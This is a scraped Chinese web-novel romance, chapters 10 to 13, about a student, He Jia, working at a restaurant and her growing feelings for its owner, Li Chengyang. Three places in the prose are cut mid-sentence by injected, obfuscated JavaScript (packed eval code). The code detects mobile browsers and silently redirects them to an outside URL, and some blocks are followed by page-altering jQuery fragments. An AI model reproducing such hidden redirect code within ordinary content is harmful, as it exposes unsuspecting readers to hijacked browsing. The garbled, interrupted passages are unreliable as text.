李成杨就着瓶子灌了几口下去,面颊立马变红,整个迷迷蒙蒙的。 何嘉狐疑地看着他。 张壅也喝了几口,替他解释:“他喝酒一直这样,上脸不上头,别担心他,挺能喝的。” 她也不是担心,只是有些诧异,但是也不好说什么,于是选择埋头吃起炒粉。 李成杨抬眸瞟她一眼,很快又收回视线。 饭桌上三个人突然都不说话了。 何嘉觉得尴尬,主动挑起话题。 她问张壅:“你这么晚了还不回去,家里人不担心吗?” 张壅拿起酒瓶和李成杨干了个杯,左手搭在椅背上,“我一个大老爷们儿有啥好担心的?只是明天等着挨骂就行了。” 何嘉想起张姨骂人的模样,同情地点点头。 他又笑,“你呢?这么晚了不回宿舍,你俩刚才是要一起睡店里?” 李成杨先撇他一眼:“滚。” 何嘉又觉得脸上发热,向他解释:“没有,我要放寒假了没地方去,就问老板可以不暂时住二楼。” 她说这话的时候不忘瞄李成杨一眼。 李成杨没说话,继续喝酒。 张壅拍拍李成杨的肩膀,觉得有趣:“哎,你什么时候这么仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242335|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慈了?” “我什么时候都这么仁慈。” 李成杨懒散地靠在椅背上,在何嘉眼里,喝了酒之后的他眼神更加清明了。 张壅觉得好笑:“嗯,希望你对我也这么仁慈。” 李成杨嫌他烦,“喝你的酒。” 张壅喝了半瓶,摸出一包烟,假装询问:“我抽一根可以吧?” 何嘉“呃”一声,想拒绝。 李成杨直接抢了桌子上的打火机,十分顺手地丢进垃圾桶里。 “抽吧。”他朝垃圾桶扬扬下巴。 “你他……”张壅想骂人,又看了眼何嘉。 最后决定把脏话憋回去,转向李成杨:“不抽了行吧,你明天赔我一个啊。” “赔个鬼。”他才懒得搭理。 何嘉看着他们的动作,觉得好奇:“你们好熟啊,是一直都认识吗?” “嗯。”李成杨盯着她侧脸的碎发。 张壅接着说:“害,我跟他啊都多少年了。2006年那会儿吧我就认识他了,现在都十二年了,2006年是个什么概念,你那时候才多大呢?” “那么久了啊,”何嘉咬断宽粉,说:“那会儿我才十岁。” “十岁?”张壅感到很好玩儿,“诶,那会儿你杨哥都二十了,应该和你现在差不多大。你现在有二十了吧?” 她回答:“我二十二了。” 李成杨突然抬头看她,但是什么都没说。 只有张壅指了指自己:“我比你大五岁。”又指了指李成杨说:“杨哥比我也大五岁。” 何嘉在心里默算他俩的年龄,不知道该震惊张壅十五岁就认识李成杨,还是李成杨现在已经三十二了! 她这表情在李成杨眼里等同于一言难尽。 他放下酒瓶朝她倾身,眼神多了一丝玩味,“怎么?觉得我老?” 何嘉闻到他嘴里的麦芽香味,是属于酒精的专属味道。 她微微后仰,觉得耳朵发烫。 “没……没有。我就是觉得你看上去,挺年轻的,有点和你的实际年龄不符合。” 不知道是不是酒精的作用,他突然来了兴致:“那你说我看上去像多大的?” 何嘉不敢盯他的眼睛,随手指了指张壅:“就跟他差不多,二十六七的样子。” 张壅反对道:“我看上去有他那么老??” 何嘉猛地摇头,“不是不是,是老板看上去很年轻,完全不像是三十以上的年纪。” 李成杨浅笑,语气不依不饶:“三十以上怎么?是很大的年纪吗?” 何嘉被他绕进去,急忙摇头:“不对不对,总之就是,老板你一点都不老,你看上去很年轻的。” 他终于“嗯”了一句,眼里多了一层笑意。 何嘉这才意识到他在逗自己玩儿呢。 他看她反应过来,再灌了一口啤酒,全身的皮肤都变成粉红色。 何嘉不自觉往他那儿瞅。 温暖的光线洒在他身上,他的四周笼罩一层毛茸茸的辉光。而他嘴角微勾,喉结滚动几下,没忍住发出几声沉沉的笑。 何嘉看见他的脸颊浮现出两个不明显的酒窝,和平时沉默的模样大相径庭。 此刻的他看上去温柔、随和。 他就像是,像是,是什么?何嘉不知道。 她只知道自己正傻傻地望着他,突然想到远在北美洲的蝴蝶谷。 蝴蝶们会在每年的11月迁徙到此处,数亿只蝶翼结成浩瀚的云海,在跨越五千公里的旅途中翩翩起舞。 而现在,那些蝴蝶尽数飞涌进她的胃里。 她理解了“Butterfliesinherstomach”的意思。 意味着七上八下,也是心脏猛烈跳动。 是蝴蝶在她的胃里翩翩起舞。 何嘉的视线仍旧落在他脸上,李成杨却垂眼一眨,像是在问她:怎么了? 她低头,几缕碎发从肩头滑落,盖住了她泛红的耳朵。 她要尽力忍住脸上的绯色,就只能埋头吃口炒粉。 他不语,拿起啤酒示意张壅碰杯。 张壅暗自微笑,这一次什么也没说。 两人的酒瓶在空气中发出一声清脆,撞在何嘉的神经上,手忙脚乱、措手不及。 空气里有了隆冬的味道,像是火柴燃烧的气息,是树枝被风吹得沙沙作响,还有一阵腊梅花香。 一切平淡玄妙的意向,都勾勒着余川的一举一动,每一分出乎意料都昭示着有什么正准备破土成长。 这就是冬天的美妙。 11. 第11章 酒过三巡,要说的话变得更多。 李成杨和张壅继续聊天,有时候聊工作的事,有时候聊以前的故事。 何嘉独自回到二楼的房间休息。 暖气将整个房间烤得暖洋洋的,完全隔绝室外的冷空气。 靠墙的小床还铺着她初次留宿的深灰色床单,她将自己裹进被子里。 一点点不属于她的气息,像柠檬混着咖啡的苦涩。 她想到他。 也许他前一段时间回到这里休息过。 她想到他刚才笑起来的样子,但是她觉得自己应该睡觉了。 那么她只将那瞬间的时间停滞归结于他长得实在英气。 星辰更替,这天她一夜无梦。 接下来的一周何嘉都在早上八点准时起床,简单洗漱后就开始写论文。 她找了很多文献来看,有时候还会收到导师的好几条建议,整个人忙得头晕目眩,连兼职的时候都心不在焉。 这天中午张姨提了一床厚被子来敲门。 “小嘉啊,我进来了哦。” 何嘉连忙给她开门,“张姨你怎么拿被子过来了啊?” 张姨自从知道何嘉在这儿住下之后,曾问过她好多次:你晚上冷不冷啊?一个人怕不怕有没有事啊? 由此何嘉跟她的关系也变得更亲近了。 这会儿她把被子放到何嘉的床上,说:“我那天就说你盖这么一床薄被子不行的,有空调也不顶事啊。” 何嘉帮忙整理那床厚被子:“太谢谢张姨了!麻烦你专门提过来呢。” 张姨摆摆手:“这不是我的被子哟,是今早成杨来店里放的,他让我帮忙拿给你。” “老板?”何嘉顿了一下,“他怎么给我拿被子?” 张姨说:“他来的时候说上周好像就该给你拿了,但最近他们工作忙就搞忘了,这不今天突然想起来,一大早就拿过来了!” 何嘉想起来,那天他确实说过忘记给她买被子了。 只不过都隔了一周,他竟然还记得。 而且更让她没想到的是,他居然会将一句随口提到的话放在心上。 张姨看她傻站着没动,转身就帮她铺起被子,“你先盖这个,我看着是挺厚的,要是还不够的话你就跟我说,我家也有多的被子呢。” 何嘉加入她,朝她露出两个梨涡,“没事的张姨,我看应该是够的。” “那就好啊,你晚上别冷着就行。” “嗯嗯。” 铺好被子大概到了午市开张时间,两个人一边说话一边下楼。 一楼的圆桌旁多了个染着棕发的女人,她穿着一身雪白的羽绒服,但还是不及她白皙润的皮肤耀眼。 如果有仙子,那就是她的样子。 何嘉小心地打量她,她大约是察觉别人的目光,立马放下手机朝何嘉笑笑。 “Hello,你好啊。” 语调上扬,自信大气。 何嘉觉得她漂亮得实在挪不开眼睛,竟然不好意思和她说话。 她看出何嘉的腼腆,主动开启话题:“你是新来的兼职生吗?” 何嘉颔首,语气柔软:“是的。再过一会儿就一个月了。” 她指了指桌上的水果,“你吃苹果吗?拿一个吃吧。” 何嘉不动,只说:“谢谢,我不用的。” 张姨走过来提起那袋水果,替何嘉挑了一个又大又红的苹果。 “别客气啊,这是我们自己的水果。” 何嘉被她们的热情弄得不好意思了,连忙接过说:“谢谢张姨。”又对那个不认识的姐姐说:“谢谢姐姐。” 后者“噗嗤”一笑:“妹妹你好可爱啊,都多久没人叫我姐姐啦。” 张姨跟着她一起笑:“舒舒,你可别打趣人家,小嘉的脸皮薄着呢!” 她朝何嘉眨眼睛:“你叫小嘉呀?我能叫吗?” 何嘉红着脸说:“可以的。” “嗯,小嘉妹妹。” 此时张壅从厨房出来,正好听到她的声音。 他猛地一个转身,往后厨走。 那个叫“舒舒”的姐姐立马上去拉住他的手,语气带着一点恼怒:“你想散伙是不是?多少天了都不回家是吗?吵架怎么了?你不会回来哄我一下吗?” 张壅立住不说话,她又转头向张姨告状:“妈,他都快一周没回家了。” 张姨向来觉得自己儿子不靠谱,再听这么一句话火气立马涌上来:“你最近没回家?!你一天你想干什么?你又到哪里混去了?!” 张壅面无表情,反手拉住舒舒的手,很平淡地说了句:“去外面说。” 站在一边的何嘉就这么看着他俩拉着手离开的场景,眼睛就要瞪到下巴下面去了。 张壅竟然,结、婚、了! 对象还是这么漂亮的一个姐姐? 原来那天吃宵夜的时候,他说大不了被骂一顿说的不是被张姨骂,而是被这个漂亮姐姐骂。 信息量一下子好大,何嘉反应不过来。 张姨看她震惊的模样,无奈地摇头说:“他俩是这样的,就是你舒舒姐姐那么好的姑娘,怎么就看上我那讨人嫌的儿子了,唉。” 何嘉不知道说什么,就不说话了。 五分钟过后,吧台的接单打印机传来一声:“xx外卖为您自动接单……” 何嘉扯下单子递进后厨,今天安叔休息那就意味着,只有张壅能炒菜。 于是她只好踏着沉重的步伐掀开门口塑料门帘,朝外弱弱地提醒:“壅哥,来单子了。” 与此同时,张壅正好将冉舒侧脸的碎发拢至耳后,他的脸上浮现一种类似于缱绻的温柔。而冉舒仰着头看他,眸子里又是责备又是赧然。 好吧。 何嘉悄悄将帘子放下,猜想晚两分钟应该也没关系。 好在张壅真的只用了两分钟,回来的时候两个人脸上都带着淡淡的微笑。 “何嘉,来几张单子了?”张壅走近后厨问她。 “就两张。” “好嘞,”他的斗志高昂,“两张一起上!” 这就是爱的力量吗?何嘉偷偷抿嘴笑。 忙完一中午,一行人坐在吃饭的时候已经过了两点。 冉舒坐在何嘉旁边给她夹菜:“你看这个排骨你喜不喜欢啊?我觉得好好吃的。” 何嘉说:“谢谢。” 心想这一家人真的都好热心啊。 张壅对何嘉说:“这是我老婆最喜欢吃的哈,我平时只给她做,你今天能吃上算是走运了。” “哈哈,”何嘉干笑,“你说得对。” 冉舒努努嘴,不理他:“小嘉妹妹,听说你晚上在这里住,没关系吧?” 何嘉回答:“没关系的,老板之前已经叮嘱过我很多次了,我把注意事项都记着呢。” 冉舒点头,“那就好,你要是缺什么和我们说,我们也可以帮忙的。” “嗯嗯,谢谢。”何嘉一口啃完那块排骨。 她又想到什么,“感觉好久都没看到李成杨了,他最近在哪儿忙呢?” 何嘉以为她在跟自己说话,回答说:“他在学校快递站那边。” 冉舒说:“哦哦,原来你们挺熟的。” 何嘉迟疑了一下,他帮她好几次了,这算熟吗? 张壅趁机补充:“学生好像放寒假了吧,那边快递没多少。然后他们网点应该要把他调到西边某个小区去了,最近估计忙得要死。” 何嘉扒拉一口米饭,突然觉得他们应该不算熟了。 很多关于他的事情自己都一无所知。 冉舒继续啃排骨,“那找一天聚一下吧,都一两个月不见他人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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何嘉不了解这些,也不好贸然开口,只看见大家突然因为这句话变得低落了些。 冉舒放下筷子,语气可惜:“他当年在我们专业很优秀的,毕业那会儿校招,签了个很不错的公司,可惜最后没去。” 张壅也安静下来,“没办法吧,事情都遇上了,只是这么多年他确实不容易。” “也是,发生这么个事儿他也没心气去考虑别的了,自己待着就挺好的,每天只顾上上班啊,累了回家倒头就睡。” “挺好的,他自己也习惯。” 他们又接着聊了几句,但都并未提及那件发生在李成杨身上的事情。 何嘉就坐在他们身边,却觉得自己离他们很遥远。 十年对她来说是个很漫长的数字,那时候她还是个懵懂的小学生,无法理解他们语气里的惋惜。 现在她已经快大学毕业,却仍然无法看见落在他人人生中的某片尘埃。 她和他们不是同一阶段的人。她距离他,隔着邈远的距离。 也不知道为什么,从前她总觉得自己已经长大了,但此时此刻她心里生出一丝极其细微的落寞,是有关年龄的,也是有关阅历的。 但她还没有搞懂自己为什么会产生这样的情绪,她只在想,如果她现在和他们一样大的话,是不是就可以理解很多事情了? “小嘉妹妹?”冉舒发现她在发呆,笑眯眯地问她:“怎么啦?对我们说的话题不感兴趣呀?那聊点别的吧。” 不。她只是因为有点太感兴趣了。 可她没这样回答,反而指着手边的苹果说:“没有的,我只是在想你刚才给我的那个苹果好大啊。” 冉舒笑意不减:“我现在在开水果店呢,你要是想找我玩了就来找我呀,我的店就开在这附近的。” “好啊。”何嘉也朝她微笑,心情却一直平平的。 12. 第12章 冉舒吃过午饭就和他们告别了,走之前还不忘对何嘉说:“一定要来找我玩噢,我店里的水果随便你挑。” 何嘉很喜欢她,回答说:“好的,舒舒姐下次见。” 室内终于回归宁静。 何嘉摸出手机翻开通讯录,里面只躺着十多位联系人,这就是她这些年来唯一的人脉了。 往下滑了一页,停在那个属于李成杨的聊天框。 他们上一次的消息停留在一周之前。 何嘉想起最近他帮了不少忙,是不是得主动感谢一下。 于是她主动敲了一行消息。 何嘉:【老板,前几天谢谢你帮忙。】 对面隔了几分钟回复:【没事。】 她眼里闪过一瞬惊讶,继续打字。 何嘉:【我以为你现在在忙呢。】 李成杨:【忙过了。】 她忽然不知道该说些什么,但并不想结束这个话题。 想了想,思绪落在张壅之前的某句话上。 她问:【听说你最近不在学校那边工作了吗?】 这次对面没有回复。 她的消息像一颗石子跌进了大海,杳无音信。 怎么不回复了? 何嘉挠挠头,心里有些不安。 难道是自己问多了?或许他不喜欢别人问自己的事? 她又不是他的什么人,有什么立场问这些? 可是这个问题和他工作有关,应该也不太过分吧? 那为什么不回?不是说忙过了吗? 过了十多分钟,那边还是没有回复。 何嘉一下就有点后悔了。 她咬了咬嘴皮,心里陷入一种奇怪的眩晕。 她不该开始打探他的生活。 她最后决定放下手机,开始专注论文的事情。 可是盯着电脑心不在焉,手上有一搭没一搭地敲着键盘,删删改改不过写了两行字。 她的视线又落回手机上。 “叮咚——” 手机震动一下,发出悦耳的提示音。 何嘉立住不动,感觉心里生出一种怪异的紧张感。 她轻轻吸了一口气,拿起手机解锁。 对面回复了一句:【调走了,现在回去交接。】 她很快打字:【好的。】 丢下手机,何嘉脑海里多了一个念头。 她迅速穿好外套,朝身边打盹的张壅说了句:“我出去一趟。” 张壅小鸡啄米似地点头,“哦哦。” 饭店外面阳光和煦,吹了一点冷风但是比前几天气温高几度。何嘉拢了拢外套的领子,将脖子遮得严严实实。 她加大步伐,一路小跑停在一家便利店门口。 那里立着两个展示柜,何嘉拉开其中一个,视线在货架上扫视一圈,最后瞄准一瓶百岁山。 “老板,我拿瓶水——”她向里面喊道。 里头同样正在打盹的老板说:“你自己扫码付钱啊。” 何嘉扫了五块过去,拿着水继续小跑,忽然想到什么又折返回去,对里面的问道:“请问有笔吗?我想写点东西。” 那老板嫌烦,语气不客气:“你自己看看台子上有没!有就有,没有就算了。” 何嘉闻言找了找,摸到一只记号笔。潦草写了几笔又对里面说:“谢谢啊。” 老板不再理她。 她继续朝着目标小跑,一路上体温直线上升,甚至感觉背心的位置开始发热。 她没有停下来,反而在看到学校大门的时候弯了弯嘴角。 保安大叔看她着急的样子也没问她这是做什么,非常贴心地给她开门。 她不忘留下一句:“谢谢叔叔。” 抵达快递站的时候不过五分钟。 她拿着水停在门口喘气,整张脸都浮现出一抹明显的焉红。 冷风钻进她的喉咙里,让她忍不住“咳咳”两声。 两个男人的谈话被这声咳嗽打断,其中一个主动问她:“同学,你怎么了?有什么急事吗?” 何嘉咽下口水,觉得喉咙刺痛。她直起身对他摆手:“没事没事,就是刚才跑了几步路。” 另外一个男人闻言转身,一道熟悉冷冽的嗓音响起—— “怎么了?” 何嘉打了个激灵,直起身对上他的视线。 一周不见,他的面容没有任何变化,但神情却和夜宵那晚截然不同。工作时候的他一向都是这么专业有序,不会露出其他的表情。 “我没什么事,”何嘉被他看得不自然,装作大方地把水递到他面前,“顺手买的,给你喝。” 李成杨狐疑地盯着她:“给我喝?” 她生硬地解释:“来感谢你。” 他没接,反而问:“你又要感谢什么?” “就前段时间的事。”她说得含糊。 “哦,你还挺有良心。”他想起她那些自成一派的规矩,指了指桌子:“放着吧。” 她颤着手将它搁置在上面,瓶身因为她手上的温度而泛起白雾,但很快就消失不见。 何嘉还站在他身旁,眸子有意无意瞟过他的侧脸。 李成杨和刚才的小哥继续讨论交接事宜,不再注意她。 她盯着他的睫毛,视线变得更大胆了些。 他的五官立体,本该是很锐利的长相,但是眉眼的墨色为他平添一份亲和力,只是不笑的时候,再也无人知晓他也会有酒窝,那样让人印象深刻。 或许是发觉何嘉还没走,他又打断正在交谈的话题,侧身转头问她:“还有事?” 何嘉猛然惊醒,摇着头说:“没有没有,我走了。” 他瞥见她脸上还未消散的绯红,提醒了句:“冬天跑步容易心梗。” “?”何嘉瞪俩眼睛表示迷惑,怎么突然说这个? 他悠悠地说:“走回去,不赶时间就别跑了。” 她这才反应来,他原来将她刚才跑来的样子尽收眼底。 啊,有点狼狈,还有点羞耻。 她缓缓点头,只听他又慢悠悠地说:“命还是比水重要。”间断一秒又说:“免得有水送没命喝。” 何嘉被他的冷幽默逗笑,抿着嘴不让自己笑出来。 “笑什么,笑够了回去吧。” “好。我回去了。”何嘉转过身同他挥手,眼睛笑盈盈的。 李成杨觉得她的笑容刺眼,索性转向身边的小哥不再回应。 新来的小哥拿起桌上的水,在空中摇一摇,调侃道:“哟,还是百岁山啊。” 李成杨“啧”一声,“怎么?没喝过?” 小哥假装将它揣在怀里,“行啊杨哥,你在这边干这么好,走了都被人惦记。” “还行吧。”他不想再说这个话题。 小哥却兴致勃勃:“这同学挺大方的,要我送瓶怡宝算了,百岁山要贵三块呢。” 李成杨朝他伸手,手指颠了颠,“给我。” “别啊,给我喝了呗。”小哥继续笑,不忘欠揍地说:“你说人家小妹妹怎么还专门来送个水呢?” 李成杨“咳”了声,大言不惭:“我宽宏仁爱。” “喔,那我也‘宽宏仁爱’,怎么从来没人请我喝水。” “你衰。” “??” 李成杨不想跟他来回,突然松口:“你要喝就喝。” 小哥却又立马把水放下:“不了不了,人家专门买给你的,我哪好意思喝。” “知道就好。”他将那瓶水拿起,一口气喝了半瓶。 视线突然被一抹黑色吸引注意。 那片黑色被水波盖住,像在微蓝的颜色中轻轻摇曳,有点看不真切。 他又猛喝几口,将剩下半瓶水喝尽,黑色逐渐清晰。 瓶底好像有字。 李成杨倒转瓶身,将瓶底翻转过来,目光落在那排黑色的小字上。 是“谢谢老板”。 这排小字字体遒劲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242337|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看上去很有风骨,应该在哪里都会被人夸着说“好字好字”,可他实在难将这份笔迹和某人的面容联系起来。 她总是唯唯诺诺,但凡是跟他多说几句话就会眼神躲闪。 但他又莫名想起初次见她那会儿,她一个人和两个男的对峙,甚至还划伤了其中一个男的两次。 想到这里,他嘴角向上小幅度上扬。他明白了,她确实和她的字一样棱角分明、百折不屈。 “诶,你看什么呢?”小哥凑到他身边想要一探究竟。 “没什么。”他蓦然转正瓶身,掩盖了那行小字。 “切。”小哥努嘴碎碎念道:“依我看啊,什么人能在你临走的时候还对你念念不忘啊?你知道吗?反正我知道。” “什么?” “对你念念不忘的人呗。” “……” “你别说啊,刚才那个小妹挺可爱的,就是年纪应该不大,要是……” “别乱说。”他放好瓶子,给那人一个眼神。 后者还想说什么,但也只说了句“算了算了。” 瓶子就摆在他手边,他莫名将手掌压在瓶盖上,光滑的塑料磨过他的手心。 他想起她刚才跑来的样子,脸颊红扑扑的还喘着气,几根碎发在风里纷飞。这是怕来晚了赶不上见面吧。但是平时也不是见不到,怎么会这么着急? 又想几秒,突然灵光一现,难道是最近没回店里,小姑娘想催他发工资但又不好开口? 他明白了,她这是在点他呢。 于是他很沉重地摸出手机,找到刚才和她聊天的对话框之后一口气转了三千五过去。 手机这边的何嘉刚坐下准备写论文,被这条消息惊得倒吸一口凉气。 她难以置信地问他:【老板?为什么给我转钱?】 他打字:【发的工资。】 但看她质疑的样子又纳闷,不难道不是为了催他发工资? 何嘉迷惑,这也没到发工资的时间啊,而且为什么发了三千五过来? 她说:【老板,还没有到发工资的时间,你记错了吧。】 又补充:【一个月是两千,没有这么多的。】 他倒是不记得她到底哪天来的了,况且最近又忙,感觉时间过了不少。 至于那三千五,他只说:【没多,算了中午的时间。】 何嘉捧着手机发愣,当时不是说好了住店里的话中午也上班,但工资不变。 她思索一会儿,编辑了一段话:【老板,你能同意我住店里我已经很感激了,你不用再给我中午的工资,我中午上班就当是抵了晚上的房费了。谢谢你。】 李成杨懒得跟她长篇大论的,回答:【工作多久就拿多少,该你的不会少。】 她还是僵持着没收。 他又说:【我也不是那种苛刻员工的人吧?】 何嘉说:【不是。】 那不就得了。 他催促:【收了吧,提前发了。】 何嘉怀疑:【老板,你要做慈善吗?】 李成杨笑了:【三千五也算慈善?】 何嘉:【可是我还欠你不少钱呢,现在还住在你店里,欠你太多了。】 他叹了口气,敲了一行字:【没事。才出社会都不容易。】 何嘉明白了,老板这是在体恤她,把她当成晚辈了。 她需要思考一下该怎么回复,他却接着说:【明天回来吃饭,跟张壅说一声。然后把钱收了。】 她只能说好,隔了几分钟之后还是按了收款键。 看着余额多了三千五的时候,何嘉心头有种说不出来的充实。 这份兼职比她以前干过的所有工作都要好,除了饭点的时候忙,其他时间很清闲,而且还有这么一群相处和睦的同事。 她不能奢求更多了。 只是她突然又想到他的侧脸。他的眼尾轻轻上挑,嘴角那颗棕色的小痣总是若隐若现。 放下手机,她不禁抿嘴微笑。 13. 第13章 第二天是个周末,来饭店堂食的客人激增,何嘉从中午忙到傍晚,根本来不及喝水。 蒋姨和她一样,不是在收桌子就是在洗碗的路上。 她帮着蒋姨一起搓盘子,手上快得要擦出火星子。 蒋姨腼腆地说:“小嘉,劳慰你了啊。” 这声“劳慰”不同寻常,将她一瞬间拉回某个炎热的夏天。 那时候她还和阿婆住在一起,王丽琼隔三差五就叫卖桶装矿泉的大爷上来送水,每次结束后她都会说:“哎呀劳慰你上来一趟,谢谢喽!” 对方大手一摆:“劳慰啥子嘛,轻松得很。” 何嘉从语境猜出这是麻烦别人后的感谢用语。 但她当时不理解,还问过王丽琼:“阿婆,劳慰是啥子意思?” 王丽琼回答:“‘劳慰’就是尊重其他人的付出,别人帮了忙就叫‘劳慰别个’,你要尊重别个的劳动成果,晓得不?” 小小的何嘉当时只知道懵懂点头。 后来长大了,何嘉在欧阳修的《与尹师鲁书》中读到这个词,她觉得“劳慰”这样的词是很书面的,所以还是不懂为何方言里会有这样的用语。 但谁说方言就一定是土的?方言一样可以蕴含着一方道不尽的风土人情。 在这里,下雨叫做“落雨”,衣服叫做“衣裳”,做好事情称为“归一”,安静也可以是“清风雅静”。 只是现在老一辈变少了,年轻的一代不再流行这么说。 如果可以的话,她真想王丽琼能好起来,可以再对她解释几个这样有趣的词语。 然而渐渐,时常恍惚,日子早已并非当年。 “没事的蒋姨,”何嘉从失神中抽身,将盘子稳稳放在一旁,“我们一起洗要快一些呢。” 蒋姨笑着:“好,一起做。” 时间快要八点的时候几桌客人陆续离开,桌面上杯盘狼藉,一旁堆着几堆吃过的鱼骨。 青花椒的香气弥漫在空气里,闻起来辛辣但更多的麻味。 何嘉一手拿着垃圾桶,弯腰把桌上的残羹全都扫到里面,手上沾着一圈油腻。 这时她的手机在衣服里震动几下,发出微弱的铃声。她找了张帕子潦草地擦了下手,按下接听。 “喂?林阿姨?” 林桂兰开口的时候语气低落:“小嘉,这几天你阿婆状态不好,身体越来越僵,我猜应该是没知觉了。” 何嘉的脑子里闪过一瞬白光,呆呆地问:“她现在白天还能醒多久?” “……两三个小时吧。”林姨无奈道。 数着时间,王丽琼从全身巨痛到毫无知觉,走了整整十一年。 何嘉已经做好了心理准备,只是不知道这天来得这么突然。 她一个人站在饭厅中央,看身边的顾客起身又坐下,所有人都在忙着手上的事,只有她背影孤寂,没有方向。 “我妈回去看她了吗?”她尽量忍住声音里的无助,垂在空中的指尖发凉。 林姨想宽慰她:“你妈妈一早就说隔两天就回来看她,这边有我们你也不用太担心。老太太虽然没知觉了,但是各项指标还在正常范围内,没有太大问题的。” 她仰着头,视线落在白花花的房顶:“我想找个时间回来看看阿婆。” 林姨说:“回来好,你挑个空了的时间回来看看吧,到时候和你妈也好好见见。” “嗯。”何嘉其实并不想见她。 林姨叮嘱她:“你这两天好好的啊,你一个人在外面只能靠自己,有什么事先忍忍,一定要保证自己的安全。” 何嘉心里一沉,哑着声音说:“好。” 挂断电话,她的指尖又触摸到桌上的油渍,这次好像怎么擦都擦不掉。 她的余光瞥到墙上的时钟,八点一刻,还是上班时间。她朝着天花板眨眨眼睛,她得将那些不属于这个饭店的情绪全都收好。 “蒋姨,有没有干净的抹布啊?”何嘉拿着用过的抹布走近厨房,蒋姨替她找了一块洗过的洗碗巾。 她沉默地擦了擦手,一旁切菜的张壅抬头问她:“怎么了?” 她只回答:“没事。” 张壅向外指了指:“没事那就帮我拿一下外面的单子吧。” 何嘉向外走去。 几乎是同一时间,大门口的迎客铃响起—— “欢迎光临,里面请。” 几个五大三粗的男人叼着烟往里走,选了一张大圆桌坐下,厅内顿时被他们占满。 何嘉递了单子之后立马接了壶水,拿上几个玻璃杯朝他们走过去。 一时间乌云密布,烟味熏得她头疼。 她忍着不适对其中一位说:“您好,这边帮忙上茶。” 那人抬头看她,眼里满是戏谑:“真有眼力见啊,这么久不见一下就能把我认出来。” 何嘉打量他一眼,啤酒肚、秃头男,满脸的横肉。 她确实做梦都忘不了他,因为这就是那天把她搞进派出所还赔了三千块的秃头男! 怎么还正好从他开始上茶,她刚才完全没注意是他。 何嘉神经紧绷,端着茶壶后退,其余几个抽烟的男人眯着眼打量她。 她想叫人,但还没来及叫就被秃头男喊住:“跑啥啊!怎么的你们开饭馆还不招待顾客了?” 她压住心里的不安说:“不是的,我想换一壶水过来。” 秃头男讥笑:“呵呵,我还以为你被吓破胆了就要跑!你也不用慌,我们哥几个今天就是来吃饭的,你好酒好菜端上来就行了!” 何嘉不相信他说的话,还是后退。 秃头男面色一下暗淡下来,指着自己的水杯说:“倒水。” 何嘉的心脏怦怦直跳,颤着步子朝他靠近。 他故意将杯子滑远,滑到何嘉根本碰不到的位置。 她心里更慌,站在一边不动。 秃头男翘起二郎腿,一手指着杯子:“你今天把这水给我倒了,好好倒了我们就点菜吃饭,你不倒那大伙儿就看着。” 他身边的男人抖了抖烟灰,其中一小簇滚落到她的脚边。 “不好意思,我替您换一壶吧,这壶有点冷了,我去换热一点的。” “别啊,我们哥几个看这壶挺好的。倒水。” 她端着手里的水壶,指尖因为用力而泛出白色。 秃头男睨见她的动作,冷笑一声:“咋地?你这是又要泼我?又想赔三千?我怕你这次赔不起三千的吧?” 何嘉怔住,猛然想起刚才的电话里林姨还叮嘱她要好好的。 要忍忍,先保证自己的安全。 她被一群恶人盯着,她没有办法。 轻轻呼了一口气,何嘉指尖稍微卸力,整个人朝前走了两步,停在桌子前。 那个杯子被他推到圆桌中心,如果不俯身根本就够不着。 可是俯身的话,哪里都会难堪。 他想刁难她,她什么都知道。 秃头男看出她的迟疑,催促道:“快点儿的!还吃不吃饭了!” 何嘉太阳穴突突地跳,看他这副样子,如果不倒水的话可能又会在店里闹起来。 于是她无奈地闭了闭眼,整个人朝前倾身,身后被几双不善的眼睛盯着。 就在她快要够着那个杯子时,她突然感觉有什么东西正在靠近她的腰部,但是一个熟悉又踏实的声音响起—— “何嘉,过来。” 她立马回头,余光瞥见秃头男的脏手停在空中。 而她身后,是李成杨皱着眉头的脸。 他咬着牙关,薄唇紧抿在一起,眼里喷薄的戾气冲出重围,像要攻击每一个在场的人。 他在生气。 秃头男见他来势汹汹,只好果断收手,嘴里“啧”了几声。 李成杨根本没把他放在眼里,视线一直落在何嘉脸上。 “过来。”他又重复一遍。 何嘉放下水壶,在众人的目光中走向他。 厨房忙碌的张壅听见不对,往外打探一眼之后看见李成杨的黑脸,也便低下头没再多管。 就让他去保护她吧。 李成杨将她挡在身后,对秃头男语气不善:“想干嘛?吃饭?找茬?还是打架?” 秃头男本来被他的出现唬了一跳,却很快镇定,甚至和同行人互相对视,最后乐呵一笑。 “吃饭啊,上饭馆不得吃饭嘛?到是你,你谁啊?老板啊?你这什么语气?要打架还是要赶人?” 李成杨也笑了,眼神十分不屑,“你刚才想干嘛?欺负姑娘是吧?你自己看店里多少监控?” 他不忘伸手一指,随意落在房间的墙角。 秃头男顺着看去,果然多了几个崭新的监控。 “监控怎么了?”秃头突然站起来朝他走近,左手弹了弹烟灰,“你哪只眼睛看到我欺负她了?” 